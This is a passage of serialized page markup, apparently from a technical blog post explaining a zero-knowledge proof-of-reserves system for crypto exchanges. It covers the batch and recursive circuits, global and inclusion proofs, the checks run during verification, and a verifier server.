type":25,"tag":216,"props":99590,"children":99592},{"className":99591},[246,2145],[99593],{"type":31,"value":97003},{"type":25,"tag":216,"props":99595,"children":99597},{"className":99596},[246,2145],[99598],{"type":31,"value":2928},{"type":25,"tag":216,"props":99600,"children":99602},{"className":99601,"style":2746},[246],[99603],{"type":31,"value":7025},{"type":25,"tag":216,"props":99605,"children":99607},{"className":99606},[246,2145],[99608],{"type":31,"value":38},{"type":25,"tag":216,"props":99610,"children":99612},{"className":99611,"style":2746},[246,2145],[99613],{"type":31,"value":97823},{"type":25,"tag":216,"props":99615,"children":99617},{"className":99616},[246,2145],[99618],{"type":31,"value":2283},{"type":25,"tag":216,"props":99620,"children":99622},{"className":99621},[246,2145],[99623],{"type":31,"value":97038},{"type":25,"tag":216,"props":99625,"children":99627},{"className":99626},[287],[99628],{"type":31,"value":7695},{"type":25,"tag":216,"props":99630,"children":99632},{"className":99631},[246,2145],[99633],{"type":31,"value":162},{"type":25,"tag":216,"props":99635,"children":99637},{"className":99636},[246,2145],[99638],{"type":31,"value":97003},{"type":25,"tag":216,"props":99640,"children":99642},{"className":99641},[246,2145],[99643],{"type":31,"value":2928},{"type":25,"tag":216,"props":99645,"children":99647},{"className":99646,"style":2746},[246],[99648],{"type":31,"value":7025},{"type":25,"tag":216,"props":99650,"children":99652},{"className":99651},[246,2145],[99653],{"type":31,"value":2190},{"type":25,"tag":216,"props":99655,"children":99657},{"className":99656},[246,2145],[99658],{"type":31,"value":97266},{"type":25,"tag":216,"props":99660,"children":99662},{"className":99661},[246,2145],[99663],{"type":31,"value":55096},{"type":25,"tag":216,"props":99665,"children":99667},{"className":99666},[427],[99668],{"type":31,"value":19362},{"type":25,"tag":216,"props":99670,"children":99672},{"className":99671,"style":258},[257],[],{"type":25,"tag":216,"props":99674,"children":99676},{"className":99675},[263],[99677],{"type":31,"value":12522},{"type":25,"tag":216,"props":99679,"children":99681},{"className":99680,"style":258},[257],[],{"type":25,"tag":216,"props":99683,"children":99685},{"className":99684},[235],[99686,99690,99695,99700,99705,99710,99715,99772,99777,99782,99787,99792,99797,99802,99807,99812,99817,99822,99827,99832,99837,99842,99847,99852,99857,99862,99867,99872,99877,99882,99887],{"type":25,"tag":216,"props":99687,"children":99689},{"className":99688,"style":96954},[240],[],{"type":25,"tag":216,"props":99691,"children":99693},{"className":99692},[246,2145],[99694],{"type":31,"value":3239},{"type":25,"tag":216,"props":99696,"children":99698},{"className":99697},[246,2145],[99699],{"type":31,"value":97266},{"type":25,"tag":216,"props":99701,"children":99703},{"className":99702},[246,2145],[99704],{"type":31,"value":7165},{"type":25,"tag":216,"props":99706,"children":99708},{"className":99707},[246,2145],[99709],{"type":31,"value":38},{"type":25,"tag":216,"props":99711,"children":99713},{"className":99712},[246,2145],[99714],{"type":31,"value":99345},{"type":25,"tag":216,"props":99716,"children":99718},{"className":99717},[246],[99719,99724],{"type":25,"tag":216,"props":99720,"children":99722},{"className":99721,"style":99353},[246,2145],[99723],{"type":31,"value":37041},{"type":25,"tag":216,"props":99725,"children":99727},{"className":99726},[2153],[99728],{"type":25,"tag":216,"props":99729,"children":99731},{"className":99730},[298,299],[99732,99761],{"type":25,"tag":216,"props":99733,"children":99735},{"className":99734},[304],[99736,99756],{"type":25,"tag":216,"props":99737,"children":99739},{"className":99738,"style":2264},[309],[99740],{"type":25,"tag":216,"props":99741,"children":99742},{"style":99374},[99743,99747],{"type":25,"tag":216,"props":99744,"children":99746},{"className":99745,"style":2175},[319],[],{"type":25,"tag":216,"props":99748,"children":99750},{"className":99749},[2180,2181,2182,2183],[99751],{"type":25,"tag":216,"props":99752,"children":99754},{"className":99753},[246,2145,2183],[99755],{"type":31,"value":2283},{"type":25,"tag":216,"props":99757,"children":99759},{"className":99758},[408],[99760],{"type":31,"value":411},{"type":25,"tag":216,"props":99762,"children":99764},{"className":99763},[304],[99765],{"type":25,"tag":216,"props":99766,"children":99768},{"className":99767,"style":2203},[309],[99769],{"type":25,"tag":216,"props":99770,"children":99771},{},[],{"type":25,"tag":216,"props":99773,"children":99775},{"className":99774},[246],[99776],{"type":31,"value":179},{"type":25,"tag":216,"props":99778,"children":99780},{"className":99779},[246,2145],[99781],{"type":31,"value":38},{"type":25,"tag":216,"props":99783,"children":99785},{"className":99784},[246,2145],[99786],{"type":31,"value":97266},{"type":25,"tag":216,"props":99788,"children":99790},{"className":99789},[246,2145],[99791],{"type":31,"value":7165},{"type":25,"tag":216,"props":99793,"children":99795},{"className":99794,"style":97023},[246,2145],[99796],{"type":31,"value":97026},{"type":25,"tag":216,"props":99798,"children":99800},{"className":99799},[246,2145],[99801],{"type":31,"value":2283},{"type":25,"tag":216,"props":99803,"children":99805},{"className":99804},[246,2145],[99806],{"type":31,"value":2248},{"type":25,"tag":216,"props":99808,"children":99810},{"className":99809,"style":2746},[246],[99811],{"type":31,"value":7025},{"type":25,"tag":216,"props":99813,"children":99815},{"className":99814},[246,2145],[99816],{"type":31,"value":99450},{"type":25,"tag":216,"props":99818,"children":99820},{"className":99819},[246,2145],[99821],{"type":31,"value":38},{"type":25,"tag":216,"props":99823,"children":99825},{"className":99824},[246,2145],[99826],{"type":31,"value":97266},{"type":25,"tag":216,"props":99828,"children":99830},{"className":99829},[246,2145],[99831],{"type":31,"value":2928},{"type":25,"tag":216,"props":99833,"children":99835},{"className":99834},[246],[99836],{"type":31,"value":179},{"type":25,"tag":216,"props":99838,"children":99840},{"className":99839},[246,2145],[99841],{"type":31,"value":162},{"type":25,"tag":216,"props":99843,"children":99845},{"className":99844},[246,2145],[99846],{"type":31,"value":97003},{"type":25,"tag":216,"props":99848,"children":99850},{"className":99849},[246,2145],[99851],{"type":31,"value":2928},{"type":25,"tag":216,"props":99853,"children":99855},{"className":99854,"style":2746},[246],[99856],{"type":31,"value":7025},{"type":25,"tag":216,"props":99858,"children":99860},{"className":99859},[246,2145],[99861],{"type":31,"value":38},{"type":25,"tag":216,"props":99863,"children":99865},{"className":99864,"style":2746},[246,2145],[99866],{"type":31,"value":97823},{"type":25,"tag":216,"props":99868,"children":99870},{"className":99869},[246,2145],[99871],{"type":31,"value":2283},{"type":25,"tag":216,"props":99873,"children":99875},{"className":99874},[246,2145],[99876],{"type":31,"value":97834},{"type":25,"tag":216,"props":99878,"children":99880},{"className":99879},[287],[99881],{"type":31,"value":7695},{"type":25,"tag":216,"props":99883,"children":99885},{"className":99884},[246],[99886],{"type":31,"value":1876},{"type":25,"tag":216,"props":99888,"children":99890},{"className":99889},[427],[99891],{"type":31,"value":19362},{"type":25,"tag":2037,"props":99893,"children":99894},{},[99895,100253,100254],{"type":25,"tag":82,"props":99896,"children":99898},{"className":99897},[212,4696],[99899],{"type":25,"tag":216,"props":99900,"children":99902},{"className":99901},[224],[99903],{"type":25,"tag":216,"props":99904,"children":99906},{"className":99905,"ariaHidden":230},[229],[99907,100013],{"type":25,"tag":216,"props":99908,"children":99910},{"className":99909},[235],[99911,99915,99920,99925,99930,99935,99940,99945,99950,99955,99960,99965,99970,99975,99980,99985,99990,99995,100000,100004,100009],{"type":25,"tag":216,"props":99912,"children":99914},{"className":99913,"style":96954},[240],[],{"type":25,"tag":216,"props":99916,"children":99918},{"className":99917},[246,2145],[99919],{"type":31,"value":162},{"type":25,"tag":216,"props":99921,"children":99923},{"className":99922},[246,2145],[99924],{"type":31,"value":97003},{"type":25,"tag":216,"props":99926,"children":99928},{"className":99927},[246,2145],[99929],{"type":31,"value":2928},{"type":25,"tag":216,"props":99931,"children":99933},{"className":99932,"style":2746},[246],[99934],{"type":31,"value":7025},{"type":25,"tag":216,"props":99936,"children":99938},{"className":99937},[246,2145],[99939],{"type":31,"value":38},{"type":25,"tag":216,"props":99941,"children":99943},{"className":99942,"style":2746},[246,2145],[99944],{"type":31,"value":97823},{"type":25,"tag":216,"props":99946,"children":99948},{"className":99947},[246,2145],[99949],{"type":31,"value":2283},{"type":25,"tag":216,"props":99951,"children":99953},{"className":99952},[246,2145],[99954],{"type":31,"value":97038},{"type":25,"tag":216,"props":99956,"children":99958},{"className":99957},[287],[99959],{"type":31,"value":7695},{"type":25,"tag":216,"props":99961,"children":99963},{"className":99962},[246,2145],[99964],{"type":31,"value":162},{"type":25,"tag":216,"props":99966,"children":99968},{"className":99967},[246,2145],[99969],{"type":31,"value":97003},{"type":25,"tag":216,"props":99971,"children":99973},{"className":99972},[246,2145],[99974],{"type":31,"value":2928},{"type":25,"tag":216,"props":99976,"children":99978},{"className":99977,"style":2746},[246],[99979],{"type":31,"value":7025},{"type":25,"tag":216,"props":99981,"children":99983},{"className":99982},[246,2145],[99984],{"type":31,"value":2190},{"type":25,"tag":216,"props":99986,"children":99988},{"className":99987},[246,2145],[99989],{"type":31,"value":97266},{"type":25,"tag":216,"props":99991,"children":99993},{"className":99992},[246,2145],[99994],{"type":31,"value":55096},{"type":25,"tag":216,"props":99996,"children":99998},{"className":99997},[427],[99999],{"type":31,"value":19362},{"type":25,"tag":216,"props":100001,"children":100003},{"className":100002,"style":258},[257],[],{"type":25,"tag":216,"props":100005,"children":100007},{"className":100006},[263],[100008],{"type":31,"value":12522},{"type":25,"tag":216,"props":100010,"children":100012},{"className":100011,"style":258},[257],[],{"type":25,"tag":216,"props":100014,"children":100016},{"className":100015},[235],[100017,100021,100026,100031,100036,100041,100046,100103,100108,100113,100118,100123,100128,100133,100138,100143,100148,100153,100158,100163,100168,100173,100178,100183,100188,100193,100198,100203,100208,100213,100218,100223,100228,100233,100238,100243,100248],{"type":25,"tag":216,"props":100018,"children":100020},{"className":100019,"style":96954},[240],[],{"type":25,"tag":216,"props":100022,"children":100024},{"className":100023},[246,2145],[100025],{"type":31,"value":3239},{"type":25,"tag":216,"props":100027,"children":100029},{"className":100028},[246,2145],[100030],{"type":31,"value":97266},{"type":25,"tag":216,"props":100032,"children":100034},{"className":100033},[246,2145],[100035],{"type":31,"value":7165},{"type":25,"tag":216,"props":100037,"children":100039},{"className":100038},[246,2145],[100040],{"type":31,"value":38},{"type":25,"tag":216,"props":100042,"children":100044},{"className":100043},[246,2145],[100045],{"type":31,"value":99345},{"type":25,"tag":216,"props":100047,"children":100049},{"className":100048},[246],[100050,100055],{"type":25,"tag":216,"props":100051,"children":100053},{"className":100052,"style":99353},[246,2145],[100054],{"type":31,"value":37041},{"type":25,"tag":216,"props":100056,"children":100058},{"className":100057},[2153],[100059],{"type":25,"tag":216,"props":100060,"children":100062},{"className":100061},[298,299],[100063,100092],{"type":25,"tag":216,"props":100064,"children":100066},{"className":100065},[304],[100067,100087],{"type":25,"tag":216,"props":100068,"children":100070},{"className":100069,"style":2264},[309],[100071],{"type":25,"tag":216,"props":100072,"children":100073},{"style":99374},[100074,100078],{"type":25,"tag":216,"props":100075,"children":100077},{"className":100076,"style":2175},[319],[],{"type":25,"tag":216,"props":100079,"children":100081},{"className":100080},[2180,2181,2182,2183],[100082],{"type":25,"tag":216,"props":100083,"children":100085},{"className":100084},[246,2145,2183],[100086],{"type":31,"value":2283},{"type":25,"tag":216,"props":100088,"children":100090},{"className":100089},[408],[100091],{"type":31,"value":411},{"type":25,"tag":216,"props":100093,"children":100095},{"className":100094},[304],[100096],{"type":25,"tag":216,"props":100097,"children":100099},{"className":100098,"style":2203},[309],[100100],{"type":25,"tag":216,"props":100101,"children":100102},{},[],{"type":25,"tag":216,"props":100104,"children":100106},{"className":100105},[246],[100107],{"type":31,"value":179},{"type":25,"tag":216,"props":100109,"children":100111},{"className":100110},[246,2145],[100112],{"type":31,"value":38},{"type":25,"tag":216,"props":100114,"children":100116},{"className":100115},[246,2145],[100117],{"type":31,"value":97266},{"type":25,"tag":216,"props":100119,"children":100121},{"className":100120},[246,2145],[100122],{"type":31,"value":7165},{"type":25,"tag":216,"props":100124,"children":100126},{"className":100125,"style":97023},[246,2145],[100127],{"type":31,"value":97026},{"type":25,"tag":216,"props":100129,"children":100131},{"className":100130},[246,2145],[100132],{"type":31,"value":2283},{"type":25,"tag":216,"props":100134,"children":100136},{"className":100135},[246,2145],[100137],{"type":31,"value":2248},{"type":25,"tag":216,"props":100139,"children":100141},{"className":100140,"style":2746},[246],[100142],{"type":31,"value":7025},{"type":25,"tag":216,"props":100144,"children":100146},{"className":100145},[246,2145],[100147],{"type":31,"value":99450},{"type":25,"tag":216,"props":100149,"children":100151},{"className":100150},[246,2145],[100152],{"type":31,"value":38},{"type":25,"tag":216,"props":100154,"children":100156},{"className":100155},[246,2145],[100157],{"type":31,"value":97266},{"type":25,"tag":216,"props":100159,"children":100161},{"className":100160},[246,2145],[100162],{"type":31,"value":2928},{"type":25,"tag":216,"props":100164,"children":100166},{"className":100165},[246],[100167],{"type":31,"value":179},{"type":25,"tag":216,"props":100169,"children":100171},{"className":100170},[246,2145],[100172],{"type":31,"value":162},{"type":25,"tag":216,"props":100174,"children":100176},{"className":100175},[246,2145],[100177],{"type":31,"value":97003},{"type":25,"tag":216,"props":100179,"children":100181},{"className":100180},[246,2145],[100182],{"type":31,"value":2928},{"type":25,"tag":216,"props":100184,"children":100186},{"className":100185,"style":2746},[246],[100187],{"type":31,"value":7025},{"type":25,"tag":216,"props":100189,"children":100191},{"className":100190},[246,2145],[100192],{"type":31,"value":38},{"type":25,"tag":216,"props":100194,"children":100196},{"className":100195,"style":2746},[246,2145],[100197],{"type":31,"value":97823},{"type":25,"tag":216,"props":100199,"children":100201},{"className":100200},[246,2145],[100202],{"type":31,"value":2283},{"type":25,"tag":216,"props":100204,"children":100206},{"className":100205},[246,2145],[100207],{"type":31,"value":97834},{"type":25,"tag":216,"props":100209,"children":100211},{"className":100210},[287],[100212],{"type":31,"value":7695},{"type":25,"tag":216,"props":100214,"children":100216},{"className":100215},[246,2145],[100217],{"type":31,"value":162},{"type":25,"tag":216,"props":100219,"children":100221},{"className":100220},[246,2145],[100222],{"type":31,"value":97003},{"type":25,"tag":216,"props":100224,"children":100226},{"className":100225},[246,2145],[100227],{"type":31,"value":2928},{"type":25,"tag":216,"props":100229,"children":100231},{"className":100230,"style":2746},[246],[100232],{"type":31,"value":7025},{"type":25,"tag":216,"props":100234,"children":100236},{"className":100235},[246,2145],[100237],{"type":31,"value":2190},{"type":25,"tag":216,"props":100239,"children":100241},{"className":100240},[246,2145],[100242],{"type":31,"value":97266},{"type":25,"tag":216,"props":100244,"children":100246},{"className":100245},[246,2145],[100247],{"type":31,"value":55096},{"type":25,"tag":216,"props":100249,"children":100251},{"className":100250},[427],[100252],{"type":31,"value":19362},{"type":31,"value":10403},{"type":25,"tag":9267,"props":100255,"children":100256},{},[100257],{"type":31,"value":100258},"(verifies if all asset prices are the same)",{"type":25,"tag":2037,"props":100260,"children":100261},{},[100262,100641,100642],{"type":25,"tag":82,"props":100263,"children":100265},{"className":100264},[212,4696],[100266],{"type":25,"tag":216,"props":100267,"children":100269},{"className":100268},[224],[100270],{"type":25,"tag":216,"props":100271,"children":100273},{"className":100272,"ariaHidden":230},[229],[100274,100355],{"type":25,"tag":216,"props":100275,"children":100277},{"className":100276},[235],[100278,100282,100287,100292,100297,100302,100307,100312,100317,100322,100327,100332,100337,100342,100346,100351],{"type":25,"tag":216,"props":100279,"children":100281},{"className":100280,"style":241},[240],[],{"type":25,"tag":216,"props":100283,"children":100285},{"className":100284},[246,2145],[100286],{"type":31,"value":55096},{"type":25,"tag":216,"props":100288,"children":100290},{"className":100289,"style":2746},[246,2145],[100291],{"type":31,"value":98427},{"type":25,"tag":216,"props":100293,"children":100295},{"className":100294,"style":98431},[246,2145],[100296],{"type":31,"value":92649},{"type":25,"tag":216,"props":100298,"children":100300},{"className":100299,"style":97023},[246,2145],[100301],{"type":31,"value":97026},{"type":25,"tag":216,"props":100303,"children":100305},{"className":100304},[246,2145],[100306],{"type":31,"value":2393},{"type":25,"tag":216,"props":100308,"children":100310},{"className":100309,"style":2746},[246],[100311],{"type":31,"value":7025},{"type":25,"tag":216,"props":100313,"children":100315},{"className":100314},[246,2145],[100316],{"type":31,"value":2928},{"type":25,"tag":216,"props":100318,"children":100320},{"className":100319},[246,2145],[100321],{"type":31,"value":98459},{"type":25,"tag":216,"props":100323,"children":100325},{"className":100324,"style":2746},[246],[100326],{"type":31,"value":7025},{"type":25,"tag":216,"props":100328,"children":100330},{"className":100329},[246,2145],[100331],{"type":31,"value":98470},{"type":25,"tag":216,"props":100333,"children":100335},{"className":100334},[246,2145],[100336],{"type":31,"value":3239},{"type":25,"tag":216,"props":100338,"children":100340},{"className":100339},[246,2145],[100341],{"type":31,"value":2605},{"type":25,"tag":216,"props":100343,"children":100345},{"className":100344,"style":258},[257],[],{"type":25,"tag":216,"props":100347,"children":100349},{"className":100348},[263],[100350],{"type":31,"value":12522},{"type":25,"tag":216,"props":100352,"children":100354},{"className":100353,"style":258},[257],[],{"type":25,"tag":216,"props":100356,"children":100358},{"className":100357},[235],[100359,100363,100368,100373,100378,100383,100388,100393,100398,100403,100408,100465,100470,100474,100479,100484,100541,100546,100550,100555,100560,100564,100569,100574,100636],{"type":25,"tag":216,"props":100360,"children":100362},{"className":100361,"style":5507},[240],[],{"type":25,"tag":216,"props":100364,"children":100366},{"className":100365,"style":2146},[246,2145],[100367],{"type":31,"value":2149},{"type":25,"tag":216,"props":100369,"children":100371},{"className":100370},[246,2145],[100372],{"type":31,"value":96966},{"type":25,"tag":216,"props":100374,"children":100376},{"className":100375},[246,2145],[100377],{"type":31,"value":2283},{"type":25,"tag":216,"props":100379,"children":100381},{"className":100380},[246,2145],[100382],{"type":31,"value":74528},{"type":25,"tag":216,"props":100384,"children":100386},{"className":100385},[246,2145],[100387],{"type":31,"value":96982},{"type":25,"tag":216,"props":100389,"children":100391},{"className":100390},[246,2145],[100392],{"type":31,"value":2190},{"type":25,"tag":216,"props":100394,"children":100396},{"className":100395},[287],[100397],{"type":31,"value":1844},{"type":25,"tag":216,"props":100399,"children":100401},{"className":100400},[246,2145],[100402],{"type":31,"value":98470},{"type":25,"tag":216,"props":100404,"children":100406},{"className":100405},[246,2145],[100407],{"type":31,"value":3239},{"type":25,"tag":216,"props":100409,"children":100411},{"className":100410},[246],[100412,100417],{"type":25,"tag":216,"props":100413,"children":100415},{"className":100414},[246,2145],[100416],{"type":31,"value":2605},{"type":25,"tag":216,"props":100418,"children":100420},{"className":100419},[2153],[100421],{"type":25,"tag":216,"props":100422,"children":100424},{"className":100423},[298,299],[100425,100454],{"type":25,"tag":216,"props":100426,"children":100428},{"className":100427},[304],[100429,100449],{"type":25,"tag":216,"props":100430,"children":100432},{"className":100431,"style":97063},[309],[100433],{"type":25,"tag":216,"props":100434,"children":100435},{"style":2268},[100436,100440],{"type":25,"tag":216,"props":100437,"children":100439},{"className":100438,"style":2175},[319],[],{"type":25,"tag":216,"props":100441,"children":100443},{"className":100442},[2180,2181,2182,2183],[100444],{"type":25,"tag":216,"props":100445,"children":100447},{"className":100446},[246,2183],[100448],{"type":31,"value":1876},{"type":25,"tag":216,"props":100450,"children":100452},{"className":100451},[408],[100453],{"type":31,"value":411},{"type":25,"tag":216,"props":100455,"children":100457},{"className":100456},[304],[100458],{"type":25,"tag":216,"props":100459,"children":100461},{"className":100460,"style":2203},[309],[100462],{"type":25,"tag":216,"props":100463,"children":100464},{},[],{"type":25,"tag":216,"props":100466,"children":100468},{"className":100467},[1858],[100469],{"type":31,"value":1861},{"type":25,"tag":216,"props":100471,"children":100473},{"className":100472,"style":1865},[257],[],{"type":25,"tag":216,"props":100475,"children":100477},{"className":100476},[246,2145],[100478],{"type":31,"value":98470},{"type":25,"tag":216,"props":100480,"children":100482},{"className":100481},[246,2145],[100483],{"type":31,"value":3239},{"type":25,"tag":216,"props":100485,"children":100487},{"className":100486},[246],[100488,100493],{"type":25,"tag":216,"props":100489,"children":100491},{"className":100490},[246,2145],[100492],{"type":31,"value":2605},{"type":25,"tag":216,"props":100494,"children":100496},{"className":100495},[2153],[100497],{"type":25,"tag":216,"props":100498,"children":100500},{"className":100499},[298,299],[100501,100530],{"type":25,"tag":216,"props":100502,"children":100504},{"className":100503},[304],[100505,100525],{"type":25,"tag":216,"props":100506,"children":100508},{"className":100507,"style":97063},[309],[100509],{"type":25,"tag":216,"props":100510,"children":100511},{"style":2268},[100512,100516],{"type":25,"tag":216,"props":100513,"children":100515},{"className":100514,"style":2175},[319],[],{"type":25,"tag":216,"props":100517,"children":100519},{"className":100518},[2180,2181,2182,2183],[100520],{"type":25,"tag":216,"props":100521,"children":100523},{"className":100522},[246,2183],[100524],{"type":31,"value":184},{"type":25,"tag":216,"props":100526,"children":100528},{"className":100527},[408],[100529],{"type":31,"value":411},{"type":25,"tag":216,"props":100531,"children":100533},{"className":100532},[304],[100534],{"type":25,"tag":216,"props":100535,"children":100537},{"className":100536,"style":2203},[309],[100538],{"type":25,"tag":216,"props":100539,"children":100540},{},[],{"type":25,"tag":216,"props":100542,"children":100544},{"className":100543},[1858],[100545],{"type":31,"value":1861},{"type":25,"tag":216,"props":100547,"children":100549},{"className":100548,"style":1865},[257],[],{"type":25,"tag":216,"props":100551,"children":100553},{"className":100552},[246],[100554],{"type":31,"value":13541},{"type":25,"tag":216,"props":100556,"children":100558},{"className":100557},[1858],[100559],{"type":31,"value":1861},{"type":25,"tag":216,"props":100561,"children":100563},{"className":100562,"style":1865},[257],[],{"type":25,"tag":216,"props":100565,"children":100567},{"className":100566},[246,2145],[100568],{"type":31,"value":98470},{"type":25,"tag":216,"props":100570,"children":100572},{"className":100571},[246,2145],[100573],{"type":31,"value":3239},{"type":25,"tag":216,"props":100575,"children":100577},{"className":100576},[246],[100578,100583],{"type":25,"tag":216,"props":100579,"children":100581},{"className":100580},[246,2145],[100582],{"type":31,"value":2605},{"type":25,"tag":216,"props":100584,"children":100586},{"className":100585},[2153],[100587],{"type":25,"tag":216,"props":100588,"children":100590},{"className":100589},[298,299],[100591,100625],{"type":25,"tag":216,"props":100592,"children":100594},{"className":100593},[304],[100595,100620],{"type":25,"tag":216,"props":100596,"children":100598},{"className":100597,"style":97063},[309],[100599],{"type":25,"tag":216,"props":100600,"children":100601},{"style":2268},[100602,100606],{"type":25,"tag":216,"props":100603,"children":100605},{"className":100604,"style":2175},[319],[],{"type":25,"tag":216,"props":100607,"children":100609},{"className":100608},[2180,2181,2182,2183],[100610],{"type":25,"tag":216,"props":100611,"children":100613},{"className":100612},[246,2183],[100614],{"type":25,"tag":216,"props":100615,"children":100617},{"className":100616},[246,2183],[100618],{"type":31,"value":100619},"31",{"type":25,"tag":216,"props":100621,"children":100623},{"className":100622},[408],[100624],{"type":31,"value":411},{"type":25,"tag":216,"props":100626,"children":100628},{"className":100627},[304],[100629],{"type":25,"tag":216,"props":100630,"children":100632},{"className":100631,"style":2203},[309],[100633],{"type":25,"tag":216,"props":100634,"children":100635},{},[],{"type":25,"tag":216,"props":100637,"children":100639},{"className":100638},[427],[100640],{"type":31,"value":1882},{"type":31,"value":10403},{"type":25,"tag":9267,"props":100643,"children":100644},{},[100645],{"type":31,"value":98790},{"type":25,"tag":2037,"props":100647,"children":100648},{},[100649,100654,100655],{"type":25,"tag":64,"props":100650,"children":100651},{},[100652],{"type":31,"value":100653},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":31,"value":10403},{"type":25,"tag":9267,"props":100656,"children":100657},{},[100658],{"type":31,"value":99071},{"type":25,"tag":38,"props":100660,"children":100661},{},[100662],{"type":31,"value":100663},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":25,"tag":38,"props":100665,"children":100666},{},[100667],{"type":25,"tag":6461,"props":100668,"children":100670},{"alt":54541,"src":100669},"/posts/por/recursive-circuit.png",[],{"type":25,"tag":26,"props":100672,"children":100674},{"id":100673},"global-proof-and-inclusion-proofs",[100675],{"type":31,"value":100676},"Global Proof and Inclusion Proofs",{"type":25,"tag":607,"props":100678,"children":100679},{"id":13231},[100680],{"type":31,"value":100681},"Proving",{"type":25,"tag":38,"props":100683,"children":100684},{},[100685,100687,100693,100694,100700,100701,100707],{"type":31,"value":100686},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":25,"tag":82,"props":100688,"children":100690},{"className":100689},[],[100691],{"type":31,"value":100692},"merkle_tree.json",{"type":31,"value":7020},{"type":25,"tag":82,"props":100695,"children":100697},{"className":100696},[],[100698],{"type":31,"value":100699},"final_proof.json",{"type":31,"value":10433},{"type":25,"tag":82,"props":100702,"children":100704},{"className":100703},[],[100705],{"type":31,"value":100706},"private_nonces.json",{"type":31,"value":100708}," files.",{"type":25,"tag":38,"props":100710,"children":100711},{},[100712],{"type":31,"value":100713},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":25,"tag":38,"props":100715,"children":100716},{},[100717,100719,100725,100727,100732],{"type":31,"value":100718},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":25,"tag":82,"props":100720,"children":100722},{"className":100721},[],[100723],{"type":31,"value":100724},"inclusion_proof_\u003Cid>.json",{"type":31,"value":100726},"). ",{"type":25,"tag":64,"props":100728,"children":100729},{},[100730],{"type":31,"value":100731},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":31,"value":179},{"type":25,"tag":607,"props":100734,"children":100736},{"id":100735},"verifying",[100737],{"type":31,"value":100738},"Verifying",{"type":25,"tag":38,"props":100740,"children":100741},{},[100742],{"type":25,"tag":9267,"props":100743,"children":100744},{},[100745],{"type":31,"value":100746},"Global Proof",{"type":25,"tag":38,"props":100748,"children":100749},{},[100750,100752,100757,100758,100763],{"type":31,"value":100751},"To verify the global proof, the code deserializes the ",{"type":25,"tag":82,"props":100753,"children":100755},{"className":100754},[],[100756],{"type":31,"value":100692},{"type":31,"value":41507},{"type":25,"tag":82,"props":100759,"children":100761},{"className":100760},[],[100762],{"type":31,"value":100699},{"type":31,"value":100764}," files and performs these checks:",{"type":25,"tag":6705,"props":100766,"children":100767},{},[100768,100773,100778,100783,100809],{"type":25,"tag":2037,"props":100769,"children":100770},{},[100771],{"type":31,"value":100772},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":25,"tag":2037,"props":100774,"children":100775},{},[100776],{"type":31,"value":100777},"Verify the ZK final proof.",{"type":25,"tag":2037,"props":100779,"children":100780},{},[100781],{"type":31,"value":100782},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":25,"tag":2037,"props":100784,"children":100785},{},[100786,100788,100794,100796,100801,100802,100807],{"type":31,"value":100787},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":25,"tag":82,"props":100789,"children":100791},{"className":100790},[],[100792],{"type":31,"value":100793},"merkle_tree_hash",{"type":31,"value":100795}," public input. This ensures that the ",{"type":25,"tag":82,"props":100797,"children":100799},{"className":100798},[],[100800],{"type":31,"value":100692},{"type":31,"value":1301},{"type":25,"tag":82,"props":100803,"children":100805},{"className":100804},[],[100806],{"type":31,"value":100699},{"type":31,"value":100808}," are linked (they belong to the same global proof).",{"type":25,"tag":2037,"props":100810,"children":100811},{},[100812],{"type":31,"value":100813},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":25,"tag":38,"props":100815,"children":100816},{},[100817],{"type":25,"tag":9267,"props":100818,"children":100819},{},[100820],{"type":31,"value":100821},"Inclusion Proof",{"type":25,"tag":38,"props":100823,"children":100824},{},[100825,100827,100832,100834,100839],{"type":31,"value":100826},"To verify the inclusion proof, the code deserializes the ",{"type":25,"tag":82,"props":100828,"children":100830},{"className":100829},[],[100831],{"type":31,"value":100724},{"type":31,"value":100833}," file and also the ",{"type":25,"tag":82,"props":100835,"children":100837},{"className":100836},[],[100838],{"type":31,"value":100699},{"type":31,"value":100840},". After that, it performs these checks:",{"type":25,"tag":6705,"props":100842,"children":100843},{},[100844,100848,100853,100858],{"type":25,"tag":2037,"props":100845,"children":100846},{},[100847],{"type":31,"value":100777},{"type":25,"tag":2037,"props":100849,"children":100850},{},[100851],{"type":31,"value":100852},"Verify if the Merkle tree root is the same as in the final proof.",{"type":25,"tag":2037,"props":100854,"children":100855},{},[100856],{"type":31,"value":100857},"Recalculate the user-related node leaf hash.",{"type":25,"tag":2037,"props":100859,"children":100860},{},[100861],{"type":31,"value":100862},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":25,"tag":26,"props":100864,"children":100866},{"id":100865},"por-verifier-server",[100867],{"type":31,"value":100868},"PoR Verifier Server",{"type":25,"tag":38,"props":100870,"children":100871},{},[100872,100874,100880],{"type":31,"value":100873},"To automate the verification process, we created a ",{"type":25,"tag":162,"props":100875,"children":100877},{"href":96523,"rel":100876},[166],[100878],{"type":31,"value":100879},"verifier server",{"type":31,"value":100881}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":25,"tag":38,"props":100883,"children":100884},{},[100885],{"type":31,"value":100886},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":25,"tag":38,"props":100888,"children":100889},{},[100890],{"type":25,"tag":6461,"props":100891,"children":100893},{"alt":54541,"src":100892},"/posts/por/backpack-por.png",[],{"type":25,"tag":38,"props":100895,"children":100896},{},[100897],{"type":31,"value":100898},"Here is a breakdown of what fields represent and why they are 